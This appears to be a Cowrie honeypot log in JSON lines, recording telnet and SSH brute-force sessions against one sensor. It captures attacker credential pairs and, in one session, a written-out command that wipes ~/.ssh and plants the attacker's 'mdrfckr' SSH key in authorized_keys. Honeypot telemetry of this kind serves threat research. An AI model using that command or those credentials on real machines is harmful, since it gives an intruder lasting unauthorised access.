{"eventid":"cowrie.session.closed","duration":30.8170645236969,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:51.148673Z","src_ip":"68.178.168.57","session":"3e4047205a00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48008,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df170f5a20e","protocol":"telnet","message":"New connection: 128.199.8.54:48008 (159.203.135.109:23) [session: 5df170f5a20e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:11:53.911901Z"}
{"eventid":"cowrie.session.closed","duration":31.70847225189209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:01.609638Z","src_ip":"68.178.168.57","session":"0ca57b7c2f75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":48764,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b8c464ea02","protocol":"ssh","message":"New connection: 78.83.249.54:48764 (159.203.135.109:22) [session: 57b8c464ea02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:04.193330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:04.198148Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:04.317939Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2022","message":"login attempt [oracle/oracle@2022] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:04.822172Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.105493Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.108981Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.113320Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.234626Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.541448Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.545697Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.31206774711609,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.555117Z","src_ip":"128.199.8.54","session":"da8e05182782","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.673295Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.677737Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":49342,"dst_ip":"159.203.135.109","dst_port":22,"session":"c248985db85c","protocol":"ssh","message":"New connection: 78.83.249.54:49342 (159.203.135.109:22) [session: c248985db85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.791946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.796517Z","src_ip":"78.83.249.54","session":"c248985db85c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:05.915737Z","src_ip":"78.83.249.54","session":"c248985db85c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:06.425491Z","src_ip":"78.83.249.54","session":"c248985db85c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:07.547823Z","src_ip":"78.83.249.54","session":"c248985db85c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":49988,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a60a7225487","protocol":"ssh","message":"New connection: 78.83.249.54:49988 (159.203.135.109:22) [session: 8a60a7225487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:07.668046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:07.677804Z","src_ip":"78.83.249.54","session":"8a60a7225487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:07.798928Z","src_ip":"78.83.249.54","session":"8a60a7225487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47264,"dst_ip":"159.203.135.109","dst_port":23,"session":"2806063a3493","protocol":"telnet","message":"New connection: 128.199.8.54:47264 (159.203.135.109:23) [session: 2806063a3493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:08.231477Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:08.312052Z","src_ip":"78.83.249.54","session":"8a60a7225487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:08.431113Z","src_ip":"78.83.249.54","session":"57b8c464ea02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:08.436647Z","src_ip":"78.83.249.54","session":"8a60a7225487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.323325872421265,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:28.235107Z","src_ip":"128.199.8.54","session":"5df170f5a20e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33004,"dst_ip":"159.203.135.109","dst_port":23,"session":"57062673e0d5","protocol":"telnet","message":"New connection: 128.199.8.54:33004 (159.203.135.109:23) [session: 57062673e0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:29.771765Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.222.138.237","src_port":34450,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b5e2ce16067","protocol":"ssh","message":"New connection: 185.222.138.237:34450 (10.17.0.5:22) [session: 7b5e2ce16067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:36.756489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:36.761422Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44668,"dst_ip":"159.203.135.109","dst_port":23,"session":"95f5860254fa","protocol":"telnet","message":"New connection: 128.199.8.54:44668 (159.203.135.109:23) [session: 95f5860254fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:36.794357Z"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:36.876042Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:79:7e:77:e9:fb:8f:3c:5c:f4:77:15:b8:cf:9e:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTGgxIL7ZVAr0v5tC1PWCNCfIDBwEm5WdWspgyvbpvos7IhHuxZ4rF33KSPHJ5z0/Pc3PSnxzoyZXuuo+PNH6oPCTqlCWxiql66eUk0LsK9xluvQiCKpJ34bORk5JGtEHBxv+I4Ew/IZ/Hcm4KQDYBxGgsZQ4D7b8qIYbWzbS9jokusBZJ6lJCON0sg4rMamAyHJVfXdXynkuQHiAMoTfrpRVh9QhtYbU9qbVX2NPIL2/mdbLHVN8KVG/R6lR6EaaZHA0Lyvz0Q5D2Nd/ecSKqViqDm0BvMX9UhAOdKJPjxu6bSutaW8kgDlsjNvlCV10lyheS0n2AtoIZYcIxtvOd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:79:7e:77:e9:fb:8f:3c:5c:f4:77:15:b8:cf:9e:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.419601Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:79:7e:77:e9:fb:8f:3c:5c:f4:77:15:b8:cf:9e:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTGgxIL7ZVAr0v5tC1PWCNCfIDBwEm5WdWspgyvbpvos7IhHuxZ4rF33KSPHJ5z0/Pc3PSnxzoyZXuuo+PNH6oPCTqlCWxiql66eUk0LsK9xluvQiCKpJ34bORk5JGtEHBxv+I4Ew/IZ/Hcm4KQDYBxGgsZQ4D7b8qIYbWzbS9jokusBZJ6lJCON0sg4rMamAyHJVfXdXynkuQHiAMoTfrpRVh9QhtYbU9qbVX2NPIL2/mdbLHVN8KVG/R6lR6EaaZHA0Lyvz0Q5D2Nd/ecSKqViqDm0BvMX9UhAOdKJPjxu6bSutaW8kgDlsjNvlCV10lyheS0n2AtoIZYcIxtvOd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.423364Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:75:14:97:62:b1:be:e6:ba:fe:d7:cc:fd:9c:97:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgd23cQBCSM0uglDELjNlP5ql6CTnD+DMW4hMUV0L2NsZeBD0+nREgdUQ3LDB3C9V6n7S/jpbpKZCzJF9HAU7J2myVXLzkalMxo6ACS5nXKIw9mDV6D/p3zZOkySUFiAx27cHxNj1KnKWUzA/vQ8paZE9c8Gy5jeB2gbDiNY5LpQ9KOuLjYndVDrAynrYCFZKNDuzLVa5EYmE6GdBE67N0K8BY9Qg5JtI27gvo+9tv2Y94KnMam8AhlMozQtUJnZxlXj3rgSVBbHhE1e1R/mPnEa/LrFuPPEFMrDtlArnizonEIUM+a87POhqYGQLJ7Dd2Q1HkB5unaLA2eNgIdkYV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:75:14:97:62:b1:be:e6:ba:fe:d7:cc:fd:9c:97:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.536833Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:75:14:97:62:b1:be:e6:ba:fe:d7:cc:fd:9c:97:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDgd23cQBCSM0uglDELjNlP5ql6CTnD+DMW4hMUV0L2NsZeBD0+nREgdUQ3LDB3C9V6n7S/jpbpKZCzJF9HAU7J2myVXLzkalMxo6ACS5nXKIw9mDV6D/p3zZOkySUFiAx27cHxNj1KnKWUzA/vQ8paZE9c8Gy5jeB2gbDiNY5LpQ9KOuLjYndVDrAynrYCFZKNDuzLVa5EYmE6GdBE67N0K8BY9Qg5JtI27gvo+9tv2Y94KnMam8AhlMozQtUJnZxlXj3rgSVBbHhE1e1R/mPnEa/LrFuPPEFMrDtlArnizonEIUM+a87POhqYGQLJ7Dd2Q1HkB5unaLA2eNgIdkYV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.540905Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:83:5d:bd:dd:7f:d3:37:3d:29:1c:9a:e0:87:b2:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCecmZiYMtoTROJWKkFXAhXvmyaIa+yhpjkMNa3C84rutnZPJ06Ug7eHLL5cpe/eS7tvGvjEIvWY7T7cvBM9yLusZhPpif+7mjjsCvcJ4JbVX2dtYQ66SWJQoeqdwdy/O0KrqYBbnMAVLJo5GY9CymWZbFhTdKSQXGFJAJVqXrPk8mUGC3HsvPGSUrhvVwZa8wcZtQg1TFQB03rW2yWHfIBkw0MuoJRFgwTTtraCxRp70BabHRIT6QZFCdPOmLtgJDVroLqRYINeE+Cx7NDQTkNEzffIIZP7et1nyRzDk8Xa4ENDRFfS672pUybJ074FkRzzpQVBECJcGFNV7ODIjIz0oVq0/f0qwahcuNT1T3qBKol/peZB0x1cPvm0Qpcui92IgzszI32N0sfbFxbZNNR0Yp9JzfjOHa6rGTYUHIRy++rjZncpBoy2EmwE603y3f8vVvECZjy5QLJDbgXaGFb4JstaoXe+JzYPTW46pvkpNLrBmAyKIanOblrSLaqkLc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:83:5d:bd:dd:7f:d3:37:3d:29:1c:9a:e0:87:b2:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:12:37.654527Z","src_ip":"185.222.138.237","session":"7b5e2ce16067","protocol":"ssh"}
